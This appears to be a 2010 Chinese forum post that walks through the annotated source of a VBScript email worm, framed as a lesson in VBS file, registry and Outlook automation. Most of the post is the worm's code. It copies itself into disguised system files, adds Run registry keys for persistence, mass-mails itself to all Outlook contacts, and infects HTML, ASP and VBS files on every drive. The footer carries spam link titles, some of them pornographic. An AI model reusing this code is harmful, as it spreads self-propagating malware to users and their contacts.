曙海教育集團(tuán)論壇開發(fā)語言培訓(xùn)專區(qū)VB語言 → 通過對一個(gè)病毒源碼的分析,了解VBS腳本語言的應(yīng)用-.net教程,VB.net語言


  共有9925人關(guān)注過本帖樹形打印

主題:通過對一個(gè)病毒源碼的分析,了解VBS腳本語言的應(yīng)用-.net教程,VB.net語言

美女呀,離線,留言給我吧!
wangxinxin
  1樓 個(gè)性首頁 | 博客 | 信息 | 搜索 | 郵箱 | 主頁 | UC


加好友 發(fā)短信
等級:青蜂俠 帖子:1393 積分:14038 威望:0 精華:0 注冊:2010-11-12 11:08:23
通過對一個(gè)病毒源碼的分析,了解VBS腳本語言的應(yīng)用-.net教程,VB.net語言  發(fā)帖心情 Post By:2010-12-14 13:45:43

讀了《將vbscript拒之“窗”外》一文,心里有些感觸,覺得是不
是少了兩個(gè)字,應(yīng)為《將vbscript病毒拒之“窗”外》,vbscript何罪之有,看了
看文章,確實(shí)是將vbscript拒之了“窗”外,上網(wǎng)查了查相關(guān)資料,也多是文中提
供的方法,vbscript可真成了冤大頭,可謂是“擋住了蒼蠅,也看不到了蝴蝶”。
  對于一個(gè)真正充滿熱情的cfan來說,不僅要知其然,還要知其所以然,vbs病毒
真的很可怕嗎?從早期的宏病毒,到有名的“歡樂時(shí)光”病毒,“愛情蟲”病毒等,
無不來勢洶洶,其實(shí)許多生勢多是殺毒軟件商的炒做,讀了前文,筆者覺得有必要
為vbs正名,為了讓計(jì)算機(jī)更好,更高效的服務(wù),我們決不應(yīng)該回避優(yōu)秀的軟件工具,
采取被動回避的策略,等同于因噎廢食。
    本文通過對一個(gè)vbs病毒源碼的分析,介紹腳本語言在:文件系統(tǒng),注冊表,以
及網(wǎng)絡(luò)郵件三個(gè)方面的具體應(yīng)用和技巧。較早的“愛情蟲”等病毒,程序比較粗糙,
這個(gè)病毒結(jié)合了許多早期病毒的優(yōu)點(diǎn),程序代碼簡單,高效,充分展示了vbs的全面
特點(diǎn),因此拿來與大家共享,如果將這個(gè)源碼作為一個(gè)vbs開發(fā)的微型幫助文檔,一
點(diǎn)不為過。讀者也可以通過此文揭開此類病毒的神秘面紗,不再談虎色變,先進(jìn)的東
西都不敢用了。殺病毒嗎,筆者還是建議您購買一套殺毒軟件(幾十元的價(jià)格,一點(diǎn)
不貴),然后注意更新病毒庫就可以了。要學(xué)習(xí) vbs,具有一些vb的基礎(chǔ)知識就夠了。
這個(gè)病毒的主要攻擊方法是:通過網(wǎng)絡(luò)及郵件進(jìn)行傳播,并且不斷地向目標(biāo)郵件服
務(wù)器發(fā)送大量郵件,并且在傳染過程中檢測網(wǎng)絡(luò)主機(jī)的名稱中是否有目標(biāo)字符,如
果有則進(jìn)行破壞攻擊。
下面將結(jié)合具體的程序逐步進(jìn)行介紹,由于篇幅關(guān)系,對一些語句進(jìn)行了縮減。
@ thank you!  make use of other person to get rid of an enemy, white trap _2001
開場白,第一個(gè)字符“@”是這個(gè)病毒傳染時(shí)的標(biāo)記
on error resume next  這一句很重要,主要是在程序執(zhí)行時(shí)如果發(fā)生錯(cuò)誤就接著
                      執(zhí)行下一條語句,防止談出出錯(cuò)對話框,否則就不能偷偷
                      的干壞事啦。這里有一個(gè)技巧,就是在程序編制調(diào)試階段,
                      最好不要這一條語句,因?yàn)樗鼤雎藻e(cuò)誤,使你的調(diào)試工
                      作不易完成。
dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str
dim defpath, smailc, max_size, whb(), title(10)      聲明各個(gè)變量
smailc = 4
redim whb(smailc)
whb(0) = "pr@witehous.gov"
...
whb(3) = "ms@witehous.gov"
以上這四個(gè)郵件地址就是被攻擊的目標(biāo),當(dāng)然已經(jīng)進(jìn)行了修改,不是真實(shí)地址
title(0) = "thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
以上這十條字符串是病毒執(zhí)行時(shí)隨機(jī)顯示在ie標(biāo)題欄里的信息。如果你的ie標(biāo)題欄
顯示了其中的某條信息,呵呵,一定要接著往下看
defpath  = "c:\readme.html"          將隨郵件一起發(fā)送的病毒體
max_size = 100000
mswkey  = "hkey_local_machine\software\microsoft\windows\"
hcuw    = "hkey_current_user\software\microsoft\wab\"
定義兩個(gè)注冊表的鍵值變量
main    執(zhí)行主函數(shù)

下面就是程序中所需的各個(gè)函數(shù)的定義部分,整個(gè)vbs程序?qū)⒂蓋indows目錄中的
wscript.exe文件解釋執(zhí)行,如果將這個(gè)文件改名或刪除,當(dāng)然vbs程序也就不能執(zhí)行
了,如此便阻止了病毒的執(zhí)行。在用殺毒軟件殺毒時(shí),往往病毒傳播的速度要比殺
毒的速度快,如果出現(xiàn)這種情況,應(yīng)該先將wscript.exe文件改名,阻止病毒傳播,
等殺完毒后,再改回來,不致影響其他正常的vbs程序的執(zhí)行。
sub main()
on error resume next
dim w_s
w_s= wscript.scriptfullname    得到此文件名稱
if w_s = "" then
err.clear
set fso = createobject("scripting.filesystemobject")
隨著vb編程語言的完善,微軟也推出了一種全新的文件操作方法:文件系
        統(tǒng)對象(filesystemobject)。這個(gè)對象,及一些相關(guān)對象,封裝了所有
        的文件操作。這個(gè)病毒程序基本展示了所有的這些操作,因此,如果您要
        利用vbs進(jìn)行文件操作編程,將這個(gè)病毒源碼作為參考文檔,肯定不錯(cuò)。
if geterr then
  randomize
  ra = int(rnd() * 7)
  doucment.write title(ra)     
  executemail        打開有毒的頁面
else     
  executepage        賦值成功,進(jìn)行傳染,攻擊
end if 
else
executevbs                  從病毒體文件“system.dll”提取病毒
end if
end sub

function  geterr()
本函數(shù)主要是檢測前一條語句是否成功返回了scripting.filesystemobject對象,
內(nèi)容略
end function

sub executepage()
dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
vbs_str  = getscriptcode("vbscript")      獲得此程序的vbscript code
js_str  = getjavascript()
code_str =  makescript(encrypt(vbs_str),true)  進(jìn)行加密處理
html_str =  makehtml(encrypt(vbs_str), true)
gf
wdsf  = w2 & "mdm.vbs"
wdsf2 = w1 & "profile.vbs"
wdf  = w2 & "user.dll"
wdf2  = w2 & "readme.html"
wdf3  = w2 & "system.dll"

set vf = fso.opentextfile (wdf, 2, true)
vf.write vbs_str
vf.close 
僅用以上三條語句便完成了病毒體文件 "user.dll"的制作,其中對象函數(shù)
opentextfile (wdf, 2, true)的三個(gè)參數(shù)分別是:
①文件名,②讀=1或?qū)?2,③文件不存在時(shí)是否創(chuàng)建;
當(dāng)前,filesystemobject對于文本文件的操作有較強(qiáng)的優(yōu)勢,對binary文件
的操作還有待加強(qiáng)。下面依次生成其他的文件,內(nèi)容略

writereg  mswkey & "currentversion\run\mdm", wdsf, ""   
writereg  mswkey & "currentversion\runservices\profile", wdsf2, ""
將mdm.vbs,profile.vbs兩個(gè)腳本文件加入到啟動組當(dāng)中,隨win啟動自動執(zhí)行
sendmail
hackpage
if testuser then
killhe
else
mk75
end if
set adi = fso.drives        所有驅(qū)動器對象
for each x in adi          遍歷所有的驅(qū)動器
if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
end if
next
if fso.fileexists(defpath) then  fso.deletefile defpath
如果存在"c:\readme.html" ,就刪除它
end sub

sub  executemail()
此函數(shù)制作病毒文件"c:\readme.html" ,并打開它,
由這一段程序,可以看出vbs的簡潔高效
on error resume next
vbs_str  = getscriptcode("vbscript")
js_str  = getjavascript()
set stl = createobject("scriptlet.typelib")
with stl
.reset
.path = defpath
.doc =  makehtml(encrypt(vbs_str), true)
.write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub

sub executevbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = createobject("scripting.filesystemobject")
set wvbs = createobject("wscript.shell")
gf
wvbs.regwrite  mswkey & "windows scripting host\setings\timeout", 0, "reg_dword"
set vf = fso.opentextfile (w2 & "system.dll", 1)
code_str = vf.readall()
vf.close
hackpage
sendmail
if testuser then
killhe
else
mk75
end if
set adi = fso.drives
for each x in adi
if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
end if 
next
end sub

sub gf()
w1=fso.getspecialfolder(0) & "\"  獲得windows的路徑名,
w2=fso.getspecialfolder(1) & "\"  獲得系統(tǒng)文件夾路徑名
end sub

function readreg(key_str)
set tmps = createobject("wscript.shell")
readreg = tmps.regread(key_str)
set tmps = nothing
end function

function writereg(key_str, newvalue, vtype)
對注冊表進(jìn)行寫入操作,讀操作類似,可以由此看到vbs的注冊表操作非常簡單明了。
set tmps = createobject("wscript.shell")
if vtype="" then
tmps.regwrite key_str, newvalue
else
tmps.regwrite key_str, newvalue, vtype
end if     
set tmps = nothing      關(guān)閉不用的資源,算是病毒的良好行為
end function

function makehtml(sbuffer, ihtml)
制作html文件的內(nèi)容
dim ra
randomize
ra = int(rnd() * 7)
makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _
"<bo" & "ad>" & vbcrlf &  makescript(sbuffer, ihtml) & vbcrlf & _
"<" & "/boad><" & "/html>"
end function

function makescript(codestr, ihtml)
制作病毒的可執(zhí)行script code
if ihtml then
dim docuwrite
docuwrite = "document.write(<+" & "script language=javascript>\n+" & _
      "jword" & "+\n</" & "+script>);"
docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\n+" & _
      "nword" & "+\n</" & "+script>);"
makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) &  codestr &  chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>"
else   
makescript= "<" & "script language=javascript>" & codestr & "</" & "script>"
end if
end function

function getscriptcode(languages)
此函數(shù)獲得運(yùn)行時(shí)的script code,
內(nèi)容略
end function

function getjavascript()
getjavascript = getscriptcode("javascript")
end function

function testuser()
此函數(shù)通過鍵值檢測網(wǎng)絡(luò)主機(jī)是否是攻擊目標(biāo)
內(nèi)容略
end function

function mk75()
檢測日期是否符合,如果符合,發(fā)控制臺命令,使系統(tǒng)癱瘓
end function

function sendmail()
利用outlook發(fā)送攜帶病毒體的郵件,microsoft outlook是可編程桌面信息管理程序,
outlook可以作為一個(gè)自動化服務(wù)器(automation servers),因此很容易實(shí)現(xiàn)自動發(fā)送
郵件,從這里也可以看出,先進(jìn)的東西難免會被反面利用,如果你也想用程序控制發(fā)送
郵件,可以仔細(xì)研究下面的代碼,
on error resume next
dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
randomize
at=fso.getspecialfolder(1) & "\readme.html"    要發(fā)送的附件文件
set  oa  = createobject("outlook.application") 制作outlook對象
set  wab = oa.getnamespace("mapi")            取得outlook mapi名字空間
for j = 1 to wab.addresslists.count            遍歷所有聯(lián)系人
eins = wab.addresslists(j)
wreg=readreg (hcuw  & eins)
if (wreg="") then wreg = 1
eaec = eins.addressentries.count      地址表的email記錄數(shù)
if (eaec > int(wreg)) then
  for x = 1 to eaec
  arrsm = wab.addressentries(x)
  areg = readreg(hcuw & arrsm)
  讀注冊表中的標(biāo)記,避免重復(fù)發(fā)送
  if (areg = "") then
    set fm = wab.createitem(0)  創(chuàng)建新郵件
    with fm
    ra = int(rnd() * 7)
    .recipients.add arrsm 收件人
    .subject = title(ra) 郵件的標(biāo)題
    .body = title(ra)  郵件的正文內(nèi)容
    .attachments at  病毒文件作為附件
    .send        發(fā)送郵件
    writereg hcuw & arrsm, 1, "reg_dword"
    end with
  end if
  next
end if   
writereg hcuw & eins, eaec, "" 
next
set oa = nothing
window.settimeout "sendmail()", 10000  每100秒發(fā)送一次
end function

sub searchhtml(path)
這個(gè)函數(shù)遞歸搜索所有需感染的文件,如果你想批量處理文件,這是非常典型
的樣例代碼
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0  then exit sub
fso.getspecialfolder(2)獲得臨時(shí)文件夾路徑名,
fso.getspecialfolder(0)獲得windows的路徑名,
fso.getspecialfolder(1)獲得系統(tǒng)文件夾路徑名
set pfo    = fso.getfolder(path)
set psfo  = pfo.subfolders
for each  ps in psfo
searchhtml(ps.path)
set pf  = ps.files
for each pfi in pf
  ext = lcase(fso.getextensionname(pfi.path))
  if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
  if code_str<>"" then addhead pfi.path, pfi, 1
  elseif ext= "vbs"  then
  addhead pfi.path,pfi, 2
  end if     
next
next
end sub

sub killhe()
看函數(shù)名就知道硬盤又要倒霉啦
end sub

sub hackpage()
dim fi


支持(0中立(0反對(0單帖管理 | 引用 | 回復(fù) 回到頂部

返回版面帖子列表

通過對一個(gè)病毒源碼的分析,了解VBS腳本語言的應(yīng)用-.net教程,VB.net語言








簽名
主站蜘蛛池模板: 欧美成人精品高清在线观看| 免费看国产精品麻豆| 国产精品国产高清国产av| 成人毛片免费在线观看| 欧洲女人牲交性开放视频| 琴帝type=小说| 老头天天吃我奶躁我的动图| 国产免费女女脚奴视频网| 99精品国产在热久久无毒不卡| 丰满亚洲大尺度无码无码专线| 亚洲中文无码a∨在线观看| 亚洲综合一二三| 免费毛片a线观看| 午夜免费理论片a级| 国产一区二区欧美丝袜| 国产天堂在线观看| 国产男女猛烈无遮挡| 国产精品嫩草影院在线看| 国内大量揄拍人妻精品視頻| 天堂…在线最新版资源| 好爽好深好猛好舒服视频上| 成人国产激情福利久久精品| 日本一卡2卡3卡4卡无卡免费| 最新中文字幕在线| 最近中文字幕在线中文视频| 欧美一级视频在线观看| 欧美多人换爱交换乱理伦片| 欧美成人高清WW| 欧美丰满白嫩bbw激情| 杨玉环三级dvd| 日韩美女在线视频网站免费观看| 欧美91精品久久久久网免费| 最近中文字幕mv免费高清电影 | 国产欧美精品一区二区| 国产成人精品一区二区三区免费 | 好男人看视频免费2019中文| 娇小性色xxxxx中文| 在线观看特色大片免费网站| 国产麻豆成av人片在线观看| 国产精品免费视频网站| 国产成人精品999在线|